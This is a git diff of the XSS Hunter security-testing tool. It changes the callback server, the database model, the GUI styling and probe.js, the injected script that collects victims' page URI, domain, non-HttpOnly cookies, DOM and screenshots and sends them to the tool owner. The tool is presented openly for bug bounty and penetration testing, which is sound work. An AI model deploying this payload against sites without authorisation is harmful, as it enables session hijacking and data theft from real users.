diff --git a/api/apiserver.py b/api/apiserver.py index 336c09f..13cfca8 100755 --- a/api/apiserver.py +++ b/api/apiserver.py @@ -61,7 +61,6 @@ def __init__(self, *args, **kwargs): self.set_header("Cache-Control", "no-cache, no-store, must-revalidate") self.set_header("Pragma", "no-cache") self.set_header("Expires", "0") - self.set_header("Server", "") self.request.remote_ip = self.request.headers.get( "X-Forwarded-For" ) @@ -196,9 +195,14 @@ def upload_screenshot( base64_screenshot_data_uri ): return screenshot_filename def record_callback_in_database( callback_data, request_handler ): - screenshot_file_path = upload_screenshot( callback_data["screenshot"] ) + if len(callback_data["screenshot"]) > 0: + screenshot_file_path = upload_screenshot( callback_data["screenshot"] ) + else: + screenshot_file_path = '' injection = Injection( vulnerable_page=callback_data["uri"].encode("utf-8"), + vulnerable_domain=callback_data["domain"].encode("utf-8"), + document_body=callback_data["document-body"], victim_ip=callback_data["ip"].encode("utf-8"), referer=callback_data["referrer"].encode("utf-8"), user_agent=callback_data["user-agent"].encode("utf-8"), @@ -405,12 +409,18 @@ def post( self ): else: callback_data = json.loads( self.request.body ) callback_data['ip'] = self.request.remote_ip - injection_db_record = record_callback_in_database( callback_data, self ) - self.logit( "User " + owner_user.username + " just got an XSS callback for URI " + injection_db_record.vulnerable_page ) - if owner_user.email_enabled: - send_javascript_callback_message( owner_user.email, injection_db_record ) - self.write( '{}' ) + # Check if injection already recently recorded + owner_user = self.get_user_from_subdomain() + if 0 < session.query( InjectionRequest ).filter( Injection.owner_id == owner_user.id, Injection.vulnerable_page == callback_data["uri"].encode("utf-8"), Injection.victim_ip == self.request.remote_ip, Injection.user_agent == callback_data["user-agent"].encode("utf-8"), Injection.injection_timestamp > time.time()-900).count(): + self.write( '{"DUPLICATE"}' ) + else: + injection_db_record = record_callback_in_database( callback_data, self ) + self.logit( "User " + owner_user.username + " just got an XSS callback for URI " + injection_db_record.vulnerable_page ) + + if owner_user.email_enabled: + send_javascript_callback_message( owner_user.email, injection_db_record ) + self.write( '{}' ) class HomepageHandler(BaseHandler): def get(self, path): @@ -439,8 +449,16 @@ def get(self, path): else: new_probe = new_probe.replace( '[TEMPLATE_REPLACE_ME]', json.dumps( "" )) + # Check recent callbacks + if "Referer" in self.request.headers: + if 0 < session.query( Injection ).filter( Injection.victim_ip == self.request.remote_ip, Injection.injection_timestamp > time.time()-900, Injection.vulnerable_page == self.request.headers.get("Referer")).count(): + new_probe = 'Injection already recorded within last fifteen minutes' + else: + if 0 < session.query( Injection ).filter( Injection.victim_ip == self.request.remote_ip, Injection.injection_timestamp > time.time()-900).count(): + new_probe = 'Injection already recorded within last fifteen minutes' + if self.request.uri != "/": - probe_id = self.request.uri.split( "/" )[1] + probe_id = self.request.uri.split('/')[1].split('?')[0] self.write( new_probe.replace( "[PROBE_ID]", probe_id ) ) else: self.write( new_probe ) @@ -503,7 +521,11 @@ def delete( self ): self.logit( "User delted injection record with an id of " + injection_db_record.id + "(" + injection_db_record.vulnerable_page + ")") - os.remove( injection_db_record.screenshot ) + try: + os.remove( injection_db_record.screenshot ) + except OSError as e: + self.logit("Screenshot doesn't exist - " + injection_db_record.screenshot) + pass injection_db_record = session.query( Injection ).filter_by( id=str( delete_data.get( "id" ) ) ).delete() session.commit() @@ -543,7 +565,7 @@ class InjectionRequestHandler( BaseHandler ): """ def post( self ): return_data = {} - request_dict = json.loads( self.request.body ) + request_dict = json.loads( self.request.body.replace('\r', '\\n') ) if not self.validate_input( ["request", "owner_correlation_key", "injection_key"], request_dict ): return diff --git a/api/models/injection_record.py b/api/models/injection_record.py index 19a1970..2efc044 100644 --- a/api/models/injection_record.py +++ b/api/models/injection_record.py @@ -10,6 +10,8 @@ class Injection(Base): type = Column(String(100)) # JavaScript/Image injection_timestamp = Column(Integer()) vulnerable_page = Column(String(3000)) + vulnerable_domain = Column(String(300)) + document_body = Column(Boolean(), default=False, nullable=False) victim_ip = Column(String(100)) referer = Column(String(3000)) user_agent = Column(String(3000)) @@ -25,7 +27,7 @@ def generate_injection_id( self ): self.id = binascii.hexlify(os.urandom(50)) def get_injection_blob( self ): - exposed_attributes = [ "id", "vulnerable_page", "victim_ip", "referer", "user_agent", "cookies", "dom", "origin", "screenshot", "injection_timestamp", "correlated_request", "browser_time" ] + exposed_attributes = [ "id", "document_body", "vulnerable_domain", "vulnerable_page", "victim_ip", "referer", "user_agent", "cookies", "dom", "origin", "screenshot", "injection_timestamp", "correlated_request", "browser_time" ] return_dict = {} for attribute in exposed_attributes: diff --git a/api/probe.js b/api/probe.js index 471413b..77fb11a 100644 --- a/api/probe.js +++ b/api/probe.js @@ -20,7 +20,7 @@ $$ | $$ |\$$$$$$$\ \$$$$$$$ |$$$$$$$ |\$$$$$$$\ $$ | $$ |\$$$$$$$\ This is a payload to test for Cross-site Scripting (XSS). It is meant to be used by security professionals and bug bounty hunters. -If you believe that this payload has been used to attempt to comprimise your service without permission, please contact us. +If you believe that this payload has been used to attempt to compromise your service without permission, please contact us. */ // https://github.com/niklasvh/html2canvas @@ -153,7 +153,18 @@ function addEvent(element, eventName, fn) { probe_return_data = {}; +if( document.body ) { + probe_return_data["document-body"] = true; +} else { + probe_return_data["document-body"] = false; +} + // Prevent failure incase the browser refuses to give us any of the probe data. +try { + probe_return_data['domain'] = never_null( document.domain ); +} catch ( e ) { + probe_return_data['domain'] = ''; +} try { probe_return_data['uri'] = never_null( location.toString() ); } catch ( e ) { @@ -205,6 +216,9 @@ function hook_load_if_not_ready() { html2canvas(document.body).then(function(canvas) { probe_return_data['screenshot'] = canvas.toDataURL(); finishing_moves(); + },function() { + probe_return_data['screenshot'] = ''; + finishing_moves(); }); } catch( e ) { probe_return_data['screenshot'] = ''; diff --git a/api/uploads/README.md b/api/uploads/README.md new file mode 100644 index 0000000..83338b5 --- /dev/null +++ b/api/uploads/README.md @@ -0,0 +1 @@ +Folder that screenshots go in. diff --git a/generate_config.py b/generate_config.py index 2af17d7..1ebd2e7 100755 --- a/generate_config.py +++ b/generate_config.py @@ -2,6 +2,11 @@ import binascii import yaml import os +import platform + +if "Ubuntu" in platform.dist()[0]: + if "16.04" in platform.dist()[1]: + os.system("sudo apt install python-yaml") nginx_template = """ server { diff --git a/gui/guiserver.py b/gui/guiserver.py index 563a12a..b4a08b4 100755 --- a/gui/guiserver.py +++ b/gui/guiserver.py @@ -19,7 +19,7 @@ def __init__(self, *args, **kwargs): self.set_header("X-XSS-Protection", "1; mode=block") self.set_header("X-Content-Type-Options", "nosniff") self.set_header("Server", "") - self.set_header("Content-Security-Policy", "default-src 'self' " + DOMAIN + " api." + DOMAIN + "; style-src 'self' fonts.googleapis.com; img-src 'self' api." + DOMAIN + "; font-src 'self' fonts.googleapis.com fonts.gstatic.com; script-src 'self'; frame-src 'self'") + self.set_header("Content-Security-Policy", "default-src 'self' " + DOMAIN + " api." + DOMAIN + "; style-src 'self' fonts.googleapis.com; img-src 'self' data: api." + DOMAIN + "; font-src 'self' fonts.googleapis.com fonts.gstatic.com; script-src 'self'; frame-src 'self'; child-src 'self'") def compute_etag( self ): return None diff --git a/gui/static/css/main.css b/gui/static/css/main.css index f17dd33..4486c3d 100644 --- a/gui/static/css/main.css +++ b/gui/static/css/main.css @@ -26,4 +26,5 @@ body { } .panel-body { margin-bottom: 20px; + word-wrap: break-word; } diff --git a/gui/static/css/mainapp.css b/gui/static/css/mainapp.css index 0b3a0e1..5dbb436 100644 --- a/gui/static/css/mainapp.css +++ b/gui/static/css/mainapp.css @@ -48,12 +48,20 @@ label { text-align: center; } +.xss_fire_thumbnail_column_header { + width: 180px; +} + .xss_fire_thumbnail_column { - max-width: 400px; + width: 180px; } -.victim_ip_address_column { - max-width: 140px; +.injection_timestamp_column_header { + width: 200px; +} + +.victim_ip_address_column_header { + width: 140px; } .xss_payload_fire_options_column_header { @@ -139,6 +147,10 @@ li.L5, li.L6, li.L7, li.L8 width: 100%; } +.full_report_vulnerable_domain { + color: black; +} + .vulnerable_page_uri_column { max-width: 0; overflow: hidden; @@ -146,8 +158,12 @@ li.L5, li.L6, li.L7, li.L8 white-space: nowrap; } +.injection_timestamp_column { + width: 200px; +} + .victim_ip_address_column { - max-width: 0; + max-width: 140px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; @@ -155,7 +171,7 @@ li.L5, li.L6, li.L7, li.L8 .xss_fire_thumbnail_image { width: 100%; - max-height: 400px; + max-height: 143px; cursor: pointer; } diff --git a/gui/static/js/app.js b/gui/static/js/app.js index 3717816..be45941 100644 --- a/gui/static/js/app.js +++ b/gui/static/js/app.js @@ -136,7 +136,7 @@ function display_full_report( id ) { var markdown_template = "# XSS Hunter Report\r\n\r\nThe page located at `{{vulnerable_page}}` suffers from a Cross-site Scripting (XSS) vulnerability. XSS is a vulnerability which occurs when user input is unsafely encorporated into the HTML markup inside of a webpage. When not properly escaped an attacker can inject malicious JavaScript that, once evaluated, can be used to hijack authenticated sessions and rewrite the vulnerable page\'s layout and functionality. The following report contains information on an XSS payload that has fired on `{{origin}}`, it can be used to reproduce and remediate the vulnerability.\r\n\r\n### XSS Payload Fire Details\r\n##### Vulnerable Page\r\n`{{vulnerable_page}}`\r\n\r\n##### Victim IP Address\r\n`{{victim_ip}}`\r\n\r\n##### Referer\r\n`{{referer}}`\r\n\r\n##### User Agent\r\n`{{user_agent}}`\r\n\r\n##### Cookies (Non-HTTPOnly)\r\n`{{cookies}}`\r\n\r\n##### Document Object Model (DOM)\r\n```html\n{{dom}}\n```\r\n\r\n##### Injection Point (Raw HTTP Request)\r\n```http\n{{correlated_request}}\r\n```\n\r\n\r\n##### Origin\r\n`{{origin}}`\r\n\r\n##### HTML5 Canvas-Rendered Screenshot\r\nhttps:\/\/api." + BASE_DOMAIN + "\/{{screenshot}}\r\n\r\n##### Injection Timestamp\r\n`{{injection_timestamp}}`\r\n\r\n## Remediation\r\nFor more information about Cross-site Scripting and remediation of the issue, see the following resources:\r\n\r\n* [Cross-site Scripting (XSS) - OWASP](https:\/\/www.owasp.org\/index.php\/Cross-site_Scripting_(XSS))\r\n* [XSS (Cross Site Scripting) Prevention Cheat Sheet - OWASP](https:\/\/www.owasp.org\/index.php\/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)\r\n* [What is Cross-site Scripting and How Can You Fix it?](https:\/\/www.acunetix.com\/websitesecurity\/cross-site-scripting\/)\r\n* [An Introduction to Content Security Policy - HTML5 Rocks](http:\/\/www.html5rocks.com\/en\/tutorials\/security\/content-security-policy\/)\r\n* [Why is the same origin policy so important? - Information Security Stack Exchange](https:\/\/security.stackexchange.com\/questions\/8264\/why-is-the-same-origin-policy-so-important)\r\n\r\n*This report was generated by an XSS Hunter server: https://github.com/mandatoryprogrammer/xsshunter*"; $( ".full_injection_report_expanded" ).remove(); - var full_report_row = $.parseHTML( '
Thumbnail | +Date | +Victim IP | Vulnerable Page URI | +Thumbnail | Options |
---|